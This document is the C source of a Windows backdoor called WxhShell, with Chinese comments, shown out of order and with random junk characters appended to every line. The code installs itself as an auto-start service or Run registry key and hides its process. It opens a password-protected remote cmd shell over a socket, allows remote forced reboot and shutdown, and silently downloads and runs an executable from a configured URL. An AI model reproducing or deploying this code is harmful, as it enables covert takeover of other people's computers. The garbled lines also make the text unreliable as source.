    } f0p+l -iEv  
  // 关机 = ms(dr^n  
  case 'd': { X8~dFjhX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  7'u<)V  
    if(Boot(SHUTDOWN)) dv=y,q@W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ []'U'  
    else { 0^'A^  
    closesocket(wsh); MV +R$  
    ExitThread(0); Dy6uWv,P  
    } U |I>CDp  
    break; S Y\ UuZ  
    } S<}2y9F  
  // 获取shell ].F7. zi  
  case 's': { uD4=1g6[s  
    CmdShell(wsh); ! `5[(lm  
    closesocket(wsh); pRI<L'  
    ExitThread(0); @P=St\;VP  
    break; OS8 ^mC  
  } I)#=#eI* :  
  // 退出 iEx.BQ+  
  case 'x': { M|!^ #!a(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kk]f*[Zi5  
    CloseIt(wsh); gXr"],OM;  
    break; @3`:aWda  
    } Y `4AML  
  // 离开 1'ne[@i^/  
  case 'q': { s X&.8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0dS}p d">k  
    closesocket(wsh); .5Y%I;~v  
    WSACleanup(); EvZ;i^.8LS  
    exit(1); *9:oTN  
    break; pR_cI]{=SA  
        } FTM(y CN  
  } Jf\lnJTyU8  
  } hZGoiWC  
d:/8P985  
  // 提示信息 W: Rs 0O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @L^Fz$Sx  
} .d< +-w2Mu  
  } NGYliP,.6  
5dffF e  
  return; ]zp5 6U|xa  
} 3:Bwf)*  
 !sda6?&  
// shell模块句柄 }e3M5LI1L  
int CmdShell(SOCKET sock) .C^1.)  
{ 49f- u  
STARTUPINFO si; \s<7!NAE4  
ZeroMemory(&si,sizeof(si)); :}d`$2Dz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J ytY6HF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .qVz rS  
PROCESS_INFORMATION ProcessInfo; V:F;Nq%+j  
char cmdline[]="cmd";  w0QN5?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e&[gde(  
  return 0; qW]gp7jK4  
} ?pgdj|"a  
w:Ui_-4*>  
// 自身启动模式 5,=Yi$x  
int StartFromService(void) TR!^wB<F  
{ 1);$#Dlt k  
typedef struct 7q bGA K  
{ mhnjY K9  
  DWORD ExitStatus; PfX{n5yBW8  
  DWORD PebBaseAddress; hW*2Le!I  
  DWORD AffinityMask; [% chN /  
  DWORD BasePriority; }Ictnb  
  ULONG UniqueProcessId; :V2"<]  
  ULONG InheritedFromUniqueProcessId; `-zdjc d  
}   PROCESS_BASIC_INFORMATION; *]2LN$  
Z=%+U _,  
PROCNTQSIP NtQueryInformationProcess; $q*kD#;mh  
';` fMcN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ke-Q>sm2Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M0!;{1  
+3.Ik,Z}zq  
  HANDLE             hProcess; N[ 4v6GS  
  PROCESS_BASIC_INFORMATION pbi; \~xI#S@  
kg[u@LgvoN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ke[doQ#c  
  if(NULL == hInst ) return 0; dDH+`;$.  
F\1nc"K/(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y7SOz'd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :0o $qz2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h"VQFqQy  
Tks;,C  
  if (!NtQueryInformationProcess) return 0; cT{iMgdI?  
AoHA+>&U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d7N;F a3yL  
  if(!hProcess) return 0; 70_T;K6  
CCKg,v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >Bp%~8f  
-oq!zi4:  
  CloseHandle(hProcess); 4mOw[}@A  
PpMZ-f@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '|^LNAx  
if(hProcess==NULL) return 0; K#M h  
g!n1]- 1  
HMODULE hMod;  p>v,b&06  
char procName[255]; -Hzn7L  
unsigned long cbNeeded; m%V+px  
xVoWGz7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O$x-&pW`g  
8 o8FL~&]  
  CloseHandle(hProcess); m^ zx &  
m}.ru)^p  
if(strstr(procName,"services")) return 1; // 以服务启动 Hxr2Q]c?u  
WO*yJ`9]  
  return 0; // 注册表启动 I Vy,A7f  
} Bc}<B:q%b  
`7jm   
// 主模块 Fk D  
int StartWxhshell(LPSTR lpCmdLine) X:-X3mV9{  
{ :NU-C!eT  
  SOCKET wsl; s# w+^Mw$  
BOOL val=TRUE; Qo  
  int port=0; "M6a_rZ2W  
  struct sockaddr_in door; FW7+!A&F  
Ff>Y<7CQ v  
  if(wscfg.ws_autoins) Install(); pH#&B_S6z=  
hM E|=\  
port=atoi(lpCmdLine); :b>Z|7g?  
K-wjQ|*1  
if(port<=0) port=wscfg.ws_port; n? "ti  
.G+}Kn9!  
  WSADATA data; %Hv$PsSJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aM 0kV.O  
x6HebIR+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nzy =0Ox[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uZZ[`PA(  
  door.sin_family = AF_INET; QxnP+U~N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3DK^S2\zBm  
  door.sin_port = htons(port); o!mf d}nG  
Y^LFJB|b4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8DTk<5mW~  
closesocket(wsl); 1W~-C B>  
return 1; `.a L>hf  
} 0!=e1_  
3sGrX"0D  
  if(listen(wsl,2) == INVALID_SOCKET) { OdQ >h$ gZ  
closesocket(wsl); o0-e,F>u  
return 1; XBhWj\`(T  
} QOuy(GY  
  Wxhshell(wsl); "W6 nW  
  WSACleanup(); +WPi}  
V.WfP*~NJ  
return 0; S "oUE_>  
<6/XE@"   
} q<>2}[W  
f<SSg* A;  
// 以NT服务方式启动 x+B~t4A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dQM# -t4*  
{ js`zQx'  
DWORD   status = 0; 'G(N,vu[@  
  DWORD   specificError = 0xfffffff; oE#HI2X  
P},S[GaZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %fP^Fh   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }#!o^B8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v ;MI*!E  
  serviceStatus.dwWin32ExitCode     = 0; _zh}%#6L  
  serviceStatus.dwServiceSpecificExitCode = 0; UShn)3F  
  serviceStatus.dwCheckPoint       = 0; '5ky<  
  serviceStatus.dwWaitHint       = 0; XyS#6D  
u4VQx,,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H[@}ri<  
  if (hServiceStatusHandle==0) return; R'dF<&Kj|  
3JW9G04.  
status = GetLastError(); fH`1dU  
  if (status!=NO_ERROR) md$[Bs9  
{ } Q1$v~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  p<*-B  
    serviceStatus.dwCheckPoint       = 0; <eN>X:_N  
    serviceStatus.dwWaitHint       = 0; uNd;; X  
    serviceStatus.dwWin32ExitCode     = status; @<vDR">  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0IDHoNaT<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0O-p(L=  
    return; }"m@~kg=  
  } 'IfM~9'D  
5B'-&.Aj+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q 4 Ye  
  serviceStatus.dwCheckPoint       = 0; |<y[gj4`T/  
  serviceStatus.dwWaitHint       = 0; KH pxWq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KXw \N!  
} um ,/^2A  
N)poe2[  
// 处理NT服务事件,比如:启动、停止 /2'\ya4B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nr&G4t+%Hv  
{ z*yN*M6t  
switch(fdwControl) {h9#JMIA  
{ );))kYr  
case SERVICE_CONTROL_STOP: zN5i}U=|r  
  serviceStatus.dwWin32ExitCode = 0; e}[$ =  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nt;A7pI`  
  serviceStatus.dwCheckPoint   = 0; yE"hgdL  
  serviceStatus.dwWaitHint     = 0; )W57n)]  
  { d1y(Jt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -HoPECe  
  } J=zZGd%  
  return; GQF7]j/  
case SERVICE_CONTROL_PAUSE: ?9?0M A<[i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X0vkdNgW  
  break; &)s A(  
case SERVICE_CONTROL_CONTINUE: S NK+U"Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AZl=w`;/O%  
  break; Q|5wz]!5Y(  
case SERVICE_CONTROL_INTERROGATE: R63"j\0  
  break; Y}1|/6eJ  
}; &OI=r vDmo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ][G<CO`k  
} _"WQi}Mm  
`n^jU92  
// 标准应用程序主函数 Kq{s^G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~S-x-cZ  
{ ?WAlW,H>  
$%1[<}<  
// 获取操作系统版本 2Y wV}  
OsIsNt=GetOsVer(); 5j ]}/Aq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {xM%3  
N# ,4BU  
  // 从命令行安装 k(^zhET  
  if(strpbrk(lpCmdLine,"iI")) Install(); HwU \[f  
m7M*)N8  
  // 下载执行文件 WX0@H[$i#  
if(wscfg.ws_downexe) { y~- ?   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W 8E<P y  
  WinExec(wscfg.ws_filenam,SW_HIDE); #mllVQ  
} 55$by.rf?  
).ugMuk  
if(!OsIsNt) { PFPfLxna  
// 如果时win9x,隐藏进程并且设置为注册表启动 sXhtn' <v  
HideProc(); 8:t-I]dzk  
StartWxhshell(lpCmdLine); a[(n91J0  
} i(c2NPbX  
else m%Ef]({I  
  if(StartFromService()) 2&tGJq-E  
  // 以服务方式启动 u|QfCwQ  
  StartServiceCtrlDispatcher(DispatchTable); @F,HyCSN  
else ,YkQJ$  
  // 普通方式启动 @L0wd>  
  StartWxhshell(lpCmdLine); t#P)KcWOt  
HvTi^Fb\a  
return 0; <M$hj6.tn  
} QT|mN  
e9%6+ 9Y  
%djx0sy  
! prU!5-  
=========================================== Upv2s:wa}z  
C62<pLJf  
.Zwn{SMtu  
Np/[MC  
sL\|y38'  
pnqjAT GU  
" &rNXn?>b  
I) Y$?"  
#include <stdio.h> |Zt=8}di  
#include <string.h> jM7}LV1Ck  
#include <windows.h> W B!$qie\  
#include <winsock2.h> (yXVp2k  
#include <winsvc.h> f ~Fus  
#include <urlmon.h> ^)fB "!s  
mB1)!  
#pragma comment (lib, "Ws2_32.lib") rBny*!n  
#pragma comment (lib, "urlmon.lib") BR0bf5T/  
u@gYEx}  
#define MAX_USER   100 // 最大客户端连接数 =vK(-h  
#define BUF_SOCK   200 // sock buffer T.(SBP  
#define KEY_BUFF   255 // 输入 buffer xE)pj|  
SA/0Z=  
#define REBOOT     0   // 重启 o&CvjE  
#define SHUTDOWN   1   // 关机 <v2R6cj5  
\\/X+4|o'  
#define DEF_PORT   5000 // 监听端口 -_314j=`/  
+QHhAA$  
#define REG_LEN     16   // 注册表键长度 u{3KV6MS  
#define SVC_LEN     80   // NT服务名长度 BryMq !  
ZR#UoYjupb  
// 从dll定义API PkVXn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }F3Z~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :JN3@NsK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /NkZ;<uxJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bX6*/N  
K GI]W|T  
// wxhshell配置信息 b#y}VY)?  
struct WSCFG { QWxQD'L'  
  int ws_port;         // 监听端口 N\Hd3Om  
  char ws_passstr[REG_LEN]; // 口令 8bK}& *z<  
  int ws_autoins;       // 安装标记, 1=yes 0=no kh5V&%>?  
  char ws_regname[REG_LEN]; // 注册表键名 d")r^7  
  char ws_svcname[REG_LEN]; // 服务名 aSK$#Xeu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ##n\9ipD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P,%|(qB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZtvU~'Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @e Myq1ZU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *Zc-&Dk:Ir  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h5Z\9`f[  
ZU@V]+ww  
}; |aVv Lz  
un /eS-IIh  
// default Wxhshell configuration D=OU61AA  
struct WSCFG wscfg={DEF_PORT, $`5DGy?RU  
    "xuhuanlingzhe", xj~6,;83xR  
    1, WkO .  
    "Wxhshell", I3L1|!  
    "Wxhshell", Q3KBG8  
            "WxhShell Service", stDn{x .  
    "Wrsky Windows CmdShell Service", ::5-UxGL<2  
    "Please Input Your Password: ", P#0 _  
  1, EP8LJzd"  
  "http://www.wrsky.com/wxhshell.exe", J\{)qJ*jp  
  "Wxhshell.exe" $_ NaxV  
    }; D{4 Y:O&J  
<T}#>xHs3  
// 消息定义模块 O:U@m@7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \vT8 )\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^ ID%pd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nph{  
char *msg_ws_ext="\n\rExit."; Kr#=u~~M  
char *msg_ws_end="\n\rQuit."; 6%'{Cq1DE  
char *msg_ws_boot="\n\rReboot..."; mrbIoN==`  
char *msg_ws_poff="\n\rShutdown..."; K)v(Z"  
char *msg_ws_down="\n\rSave to "; :{AN@zC0\  
hlVP_h"z  
char *msg_ws_err="\n\rErr!"; ~W#f,mf  
char *msg_ws_ok="\n\rOK!"; $K iMu  
kQb0pfYs  
char ExeFile[MAX_PATH]; *\`C! r  
int nUser = 0; jsG9{/Ov3  
HANDLE handles[MAX_USER];  [:k'VXL  
int OsIsNt; hh?'tb{  
,S8Vfb &  
SERVICE_STATUS       serviceStatus; ysa"f+/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p<+]+,|\~:  
f*I5 m=  
// 函数声明 )CmuC@ Q"  
int Install(void); m0edkt-x  
int Uninstall(void); OYzJE@r^  
int DownloadFile(char *sURL, SOCKET wsh); ZN)/doK  
int Boot(int flag); u,pm\  
void HideProc(void); {NFeX'5bP  
int GetOsVer(void); @Yg7F>s  
int Wxhshell(SOCKET wsl); ::R^ w"  
void TalkWithClient(void *cs); a} /Vu"  
int CmdShell(SOCKET sock); jn7} jWA  
int StartFromService(void); gPf aiVY  
int StartWxhshell(LPSTR lpCmdLine); :Hd<S   
:.~a[\C@V<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jTqba:q@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V.F 's(o  
nFP2wvFM  
// 数据结构和表定义 eS"gHldz  
SERVICE_TABLE_ENTRY DispatchTable[] = Brl6r8LGi  
{ SN+Bmdup  
{wscfg.ws_svcname, NTServiceMain}, V?"^Ff3m!  
{NULL, NULL} =UV?Pi*M>  
}; Zu$f[U)X  
)FP|}DCxQ  
// 自我安装 Y}Dp{  
int Install(void) )_=&)a1U  
{ UqHOS{\Sz  
  char svExeFile[MAX_PATH]; Z 0:2x(x9  
  HKEY key; i`Yf|^;@2>  
  strcpy(svExeFile,ExeFile); b'OO~>86  
!69^ kIi$  
// 如果是win9x系统,修改注册表设为自启动 1D`RR/g&  
if(!OsIsNt) { {7wvC)WW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ky#6M? \  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e\dT~)c  
  RegCloseKey(key); sV6A& Aw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w0IB8GdF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R*y[/Aw  
  RegCloseKey(key); .~8+s.y  
  return 0; :+5afv}  
    } EH3G|3^xz  
  } yI%> w4Z  
} EzyIsp> _  
else { G225Nz;Y*  
<8bO1t^*  
// 如果是NT以上系统,安装为系统服务 ~ /[Cgh0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CvW((<?  
if (schSCManager!=0) +wSm6*j7=  
{  LJ))  
  SC_HANDLE schService = CreateService '2tEKVb  
  ( cg.e(@(  
  schSCManager, vraU&ze\1  
  wscfg.ws_svcname, q+z\Y?  
  wscfg.ws_svcdisp, aC},h   
  SERVICE_ALL_ACCESS, S3'g(+S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U,M,E@  
  SERVICE_AUTO_START, NQJqS?^W&M  
  SERVICE_ERROR_NORMAL, p^:Lj9Qax  
  svExeFile, [w/t  
  NULL, s,v#lJ]d0W  
  NULL, EVL;"   
  NULL, /$z@_U [L  
  NULL, ##_Za6/n  
  NULL C]H <L#)ZU  
  ); OgS8.wX  
  if (schService!=0) of`]LU:  
  { *\WI!%  
  CloseServiceHandle(schService); @e,Zmx  
  CloseServiceHandle(schSCManager); $ ddYH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I3Lsj}69  
  strcat(svExeFile,wscfg.ws_svcname); w'0M>2   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0%F.]+6[O4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \.a .'l  
  RegCloseKey(key); G7;}309s  
  return 0; O-5U|wA  
    } h yKg=Foq  
  } gL"}53A  
  CloseServiceHandle(schSCManager); ?<?C*W_  
} KUutC :  
} +I n"OR%  
g)A0PvEu  
return 1; f B96Q  
} mv.I.EL  
V^z;^mdd  
// 自我卸载 )T5h\ZO`;  
int Uninstall(void)  ;"^9L  
{ )JQQ4D  
  HKEY key;  {Yk20Zn  
mv?H]i`N  
if(!OsIsNt) { y7-:l u$9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J\+gd%  
  RegDeleteValue(key,wscfg.ws_regname); b6Hk20+B;  
  RegCloseKey(key); <M?#3&5A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mtQ{6u  
  RegDeleteValue(key,wscfg.ws_regname); $jm<' 4  
  RegCloseKey(key); $-?5Q~  
  return 0; }.cmiC  
  } Oc9>F\]_m  
} U_;J.{n  
} 9sj W  
else { 8@KFln )[  
SWsv,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Mgs|*u-5  
if (schSCManager!=0) V8$bPVps  
{ u2B W]T]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,M&0<k\  
  if (schService!=0) &[Zap6]  
  { #(+HSZm  
  if(DeleteService(schService)!=0) { w a<C*o  
  CloseServiceHandle(schService); {U '&9_y  
  CloseServiceHandle(schSCManager); DIp:S&q2  
  return 0; +7< >x-+  
  } ]MLLr'6?  
  CloseServiceHandle(schService); r&3o~!  
  } -,A5^>}%,Y  
  CloseServiceHandle(schSCManager); m'(;uR`  
} j~S!!Z ]  
} KBRg95E~]l  
yX V|4  
return 1; (g/X(3  
} 5[2.5/  
50GYL5)q  
// 从指定url下载文件 )R)$T'  
int DownloadFile(char *sURL, SOCKET wsh) 1R%`i '$/  
{ W}2 &Pax  
  HRESULT hr; L sDzV)  
char seps[]= "/"; )g:,_1s)|  
char *token; >_aio4j}r  
char *file; "]s|D@^4#b  
char myURL[MAX_PATH]; {/A)t1nL  
char myFILE[MAX_PATH]; )cK  tc  
nuO3UD3  
strcpy(myURL,sURL); $jed{N7Y  
  token=strtok(myURL,seps); 3).o"AN  
  while(token!=NULL) :n4:@L<%H  
  { +>:}req  
    file=token; 27],O@ 2?L  
  token=strtok(NULL,seps); /1W7<']>xV  
  } n *i'vtQ8  
ow+Dd[i  
GetCurrentDirectory(MAX_PATH,myFILE); EdAR<VfleA  
strcat(myFILE, "\\"); 3hXmYz(  
strcat(myFILE, file); b;J0'o^G|  
  send(wsh,myFILE,strlen(myFILE),0); .)@tXH=}+  
send(wsh,"...",3,0); n*m"L|:ff  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }K/}(zuy1Y  
  if(hr==S_OK) TjUZv1(L  
return 0; fAM D2C  
else ,B~lwF9  
return 1; rbK#a)7  
|aS~"lImh  
} Cj !i)-  
<duBwkiG  
// 系统电源模块 /iTUex7T  
int Boot(int flag) s"=F^#  
{ B221}t  
  HANDLE hToken; |)?aH2IL  
  TOKEN_PRIVILEGES tkp; K Z!N{.Jk  
g| ._n  
  if(OsIsNt) { - Y8ks7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rO(TG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T018)WrhL  
    tkp.PrivilegeCount = 1; c BHL,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,%?; \?b%h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ].-J.  
if(flag==REBOOT) { d{2 y/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  ^%5~ ;  
  return 0; Gf H*,1x  
} +f X}O9  
else { V5u}C-o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MvZ+n  
  return 0; <84C tv  
} 5y%un  
  } {b|3]_-/  
  else { d=t}T6.|  
if(flag==REBOOT) { bB;~,W&E1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q7 uAf3  
  return 0; *>aZc::  
} U0h )pdo  
else { T2 :oWjC3$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8tLT'2+H#  
  return 0; {=bg5I0|a  
} ]&C:>  
} FDF3zzP0  
<.r ]dCf  
return 1; qe5tcv}u  
} stg30><  
>'} Y1_S5  
// win9x进程隐藏模块 [y|^P\D  
void HideProc(void) T_@[k  
{ p.rdSv(8'  
mUrS &&fu8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?w]"~   
  if ( hKernel != NULL ) c~gNH%1XN  
  { 'v\1:zi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ( zn_8s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5q5 )uv"  
    FreeLibrary(hKernel); Q7~'![(a  
  } @<D'-mMt  
tt6. jo  
return; yhcNE8mkQ/  
} =vqsd4  
KInUe(g<9M  
// 获取操作系统版本 ^&+zA,aL,A  
int GetOsVer(void) cWN d<=Jp  
{ k4qLB1&,  
  OSVERSIONINFO winfo; z5XYpi_;[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _M8G3QOx  
  GetVersionEx(&winfo); :3KO6/+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r{t. c?/  
  return 1; MV"E?}0  
  else @sc8}"J]#  
  return 0; <i\UMrD]`:  
} &mN'Tk  
k $e D(cW$  
// 客户端句柄模块 81GQijq  
int Wxhshell(SOCKET wsl) >_;kTy,  
{ Nb~,`bu,2  
  SOCKET wsh; + ,@ FxZl  
  struct sockaddr_in client; oLgg  
  DWORD myID; Km6Ub?/7o  
K0tV'Ml#"  
  while(nUser<MAX_USER) i\t753<Ys  
{ xS= _yO9-  
  int nSize=sizeof(client); <8u>_o6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o3Mf:;2cC  
  if(wsh==INVALID_SOCKET) return 1; BZovtm3 E  
k$ZRZ{ E+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )Rjb/3*!  
if(handles[nUser]==0) @v>l[6]>^  
  closesocket(wsh); Mw/?wtW  
else vuYO\u+ud  
  nUser++; }1QI"M*  
  } fNmE,~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @ SU8\:(U  
X AQGG>  
  return 0; PT3>E5`Nu  
} =WIE>*3[  
WMW1B }Z3  
// 关闭 socket 2]L=s3  
void CloseIt(SOCKET wsh) (C,e6r Y  
{ U(U@!G)  
closesocket(wsh); &Fw[YGJayz  
nUser--; `TUZZz  
ExitThread(0); 'S =sj}X  
} 1TKEm9j]u  
$aB /+,  
// 客户端请求句柄 <f%ujrX  
void TalkWithClient(void *cs) +"jl(5Q  
{ ;avQ1T'{?g  
3\;v5D:  
  SOCKET wsh=(SOCKET)cs; d)N^PJ/  
  char pwd[SVC_LEN]; ZB-QABn  
  char cmd[KEY_BUFF]; Fj S%n$  
char chr[1]; ,mBZ`X@N  
int i,j; =v.{JV#  
he"L*p*H  
  while (nUser < MAX_USER) { O/mR9[}  
r]v&t  
if(wscfg.ws_passstr) { &=YSM.G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yl $X3wi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m;dm|4L^  
  //ZeroMemory(pwd,KEY_BUFF); Sa L"!uAk  
      i=0; +}P%HH]E/p  
  while(i<SVC_LEN) { <"<Mbbp  
}*NF&PD5RU  
  // 设置超时 *P`v^&  
  fd_set FdRead; xdPcsox~  
  struct timeval TimeOut; (B@X[~  
  FD_ZERO(&FdRead); )T9;6R$b  
  FD_SET(wsh,&FdRead); bG "H D?A_  
  TimeOut.tv_sec=8; " jT#bIm  
  TimeOut.tv_usec=0; 1@xP(XS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q8p=!K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =-_)$GOI'  
<0#^7Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;(7-WnU8N  
  pwd=chr[0]; C\7u<2c  
  if(chr[0]==0xd || chr[0]==0xa) { ~8TF*3[}[  
  pwd=0; sI'a1$  
  break; D}-o+6TI?  
  } %;7.9%  
  i++; q(78fZ *X  
    } Y,C=@t@_  
Q $]YD pCM  
  // 如果是非法用户,关闭 socket y,Jh@n';|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k0L] R5W  
} %Uy%kN_&  
Y(_KizBY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P|N2R5(>T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jy]Id*u9  
6JhMkB^h  
while(1) { @D)Z{=>{=5  
L7]]ZAH!1  
  ZeroMemory(cmd,KEY_BUFF); pE2QnNr'  
Ea-bC:>  
      // 自动支持客户端 telnet标准   4jQ'+ 2it  
  j=0; b^x07lO  
  while(j<KEY_BUFF) { Y&K <{\vE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <?YA,"~  
  cmd[j]=chr[0]; 9t?L\  
  if(chr[0]==0xa || chr[0]==0xd) { Vo\H<_=G  
  cmd[j]=0; >)NQH9'1  
  break; eX"''PA  
  } eJHp6)2  
  j++; 6g"C#&{@  
    } >"%ob,c:#  
{pWBwf>R C  
  // 下载文件 xST4}Mb^f  
  if(strstr(cmd,"http://")) { >^=gDJ\a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~M5:=zKQ  
  if(DownloadFile(cmd,wsh)) 7NJFWz!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X P;Bhz3j  
  else Mu{BUtkzG  
